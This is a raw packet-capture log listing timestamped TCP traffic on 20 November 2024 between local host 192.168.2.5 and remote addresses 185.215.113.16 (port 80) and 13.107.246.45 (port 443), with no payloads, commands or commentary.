Nov 20, 2024 06:40:20.887887955 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.887923002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.887934923 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.887955904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.887995005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888026953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888048887 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888070107 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888083935 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888137102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888169050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888194084 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888202906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888235092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888278008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888286114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888319969 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888331890 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888371944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888403893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888411999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888437033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888468981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888501883 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888514996 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888535023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888567924 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888593912 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888601065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888603926 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888652086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888684988 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888695002 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888717890 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888752937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888787031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888797998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888819933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888828039 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888853073 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888885975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888900042 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.888919115 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888952971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888988018 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.888998985 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889025927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889034033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889060020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889092922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889142036 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889143944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889178038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889189959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889209986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889242887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889288902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889292955 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889327049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889338017 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889360905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889394045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889431000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889440060 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889470100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889481068 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889518976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889555931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889590979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889606953 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889625072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889633894 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889653921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889688969 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889697075 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889724016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889755964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889787912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889789104 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889821053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889832973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889853954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889885902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889919996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889933109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889951944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.889975071 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.889986038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890018940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890043974 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890053034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890085936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890117884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890120983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890165091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890176058 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890216112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890248060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890259981 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890296936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890331030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890361071 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890363932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890396118 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890403986 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890429020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890460968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890475035 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890494108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890527010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890541077 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890559912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890592098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890604019 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890625000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890656948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890691042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890714884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890722036 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890733957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890757084 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890789986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890816927 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890822887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890861988 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890894890 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890918970 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890927076 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890943050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.890961885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.890994072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891001940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891027927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891060114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891067982 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891109943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891141891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891164064 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891175032 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891207933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891227961 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891263962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891333103 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891339064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891386986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891418934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891434908 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891455889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891488075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891520023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891530991 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891551971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891576052 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891586065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891618967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891629934 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891650915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891685009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891717911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891730070 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891751051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891760111 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891784906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891818047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891829967 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891850948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891882896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891916990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891947985 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891949892 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.891974926 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.891985893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892030954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892039061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892064095 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892097950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892132044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892163992 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892174959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892174959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892220020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892268896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892271042 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892304897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892355919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892364979 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892390013 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892421961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892431021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892456055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892488003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892499924 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892520905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892553091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892576933 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892586946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892618895 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892630100 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892654896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892687082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892698050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892720938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892751932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892771959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892785072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892817974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892828941 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892851114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892883062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892896891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892915010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892949104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.892960072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.892982006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893014908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893029928 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893049002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893081903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893115997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893131971 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893147945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893163919 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893182039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893215895 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893249035 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893261909 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893297911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893338919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893372059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893404007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893414021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893435955 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893480062 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893486977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893536091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893568993 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893582106 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893601894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893636942 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893666983 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893667936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893702030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893716097 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893735886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893769026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893791914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893800974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893836021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893847942 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893872023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893904924 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893935919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893954039 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.893971920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.893980980 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894005060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894037962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894046068 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894083977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894118071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894148111 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894169092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894203901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894237041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894248962 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894284010 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894290924 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894325972 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894360065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894381046 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894393921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894428015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894465923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894481897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894500017 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894503117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894532919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894566059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894573927 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894598961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894634008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894661903 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894665956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894697905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894706011 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894731045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894766092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894779921 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894798994 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894834042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894846916 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894865990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894897938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894906998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.894931078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894965887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.894999027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.895010948 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.895031929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.895052910 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.895065069 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.895098925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.895107985 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.895132065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.895165920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.895209074 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.898288012 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.898382902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.900134087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.900151968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.900168896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.900211096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.901133060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.901149035 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.901165009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.901192904 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.901223898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.115220070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.115298033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.140006065 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.140605927 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.140628099 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.140980959 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.140989065 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.142712116 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.143346071 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.143356085 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.143502951 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.143512964 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.148559093 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.149266958 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.149266958 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.149353027 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.149390936 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.159590960 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.159993887 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.160012007 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.161344051 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.161351919 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.192164898 CET	443	49725	13.107.246.45	192.168.2.5
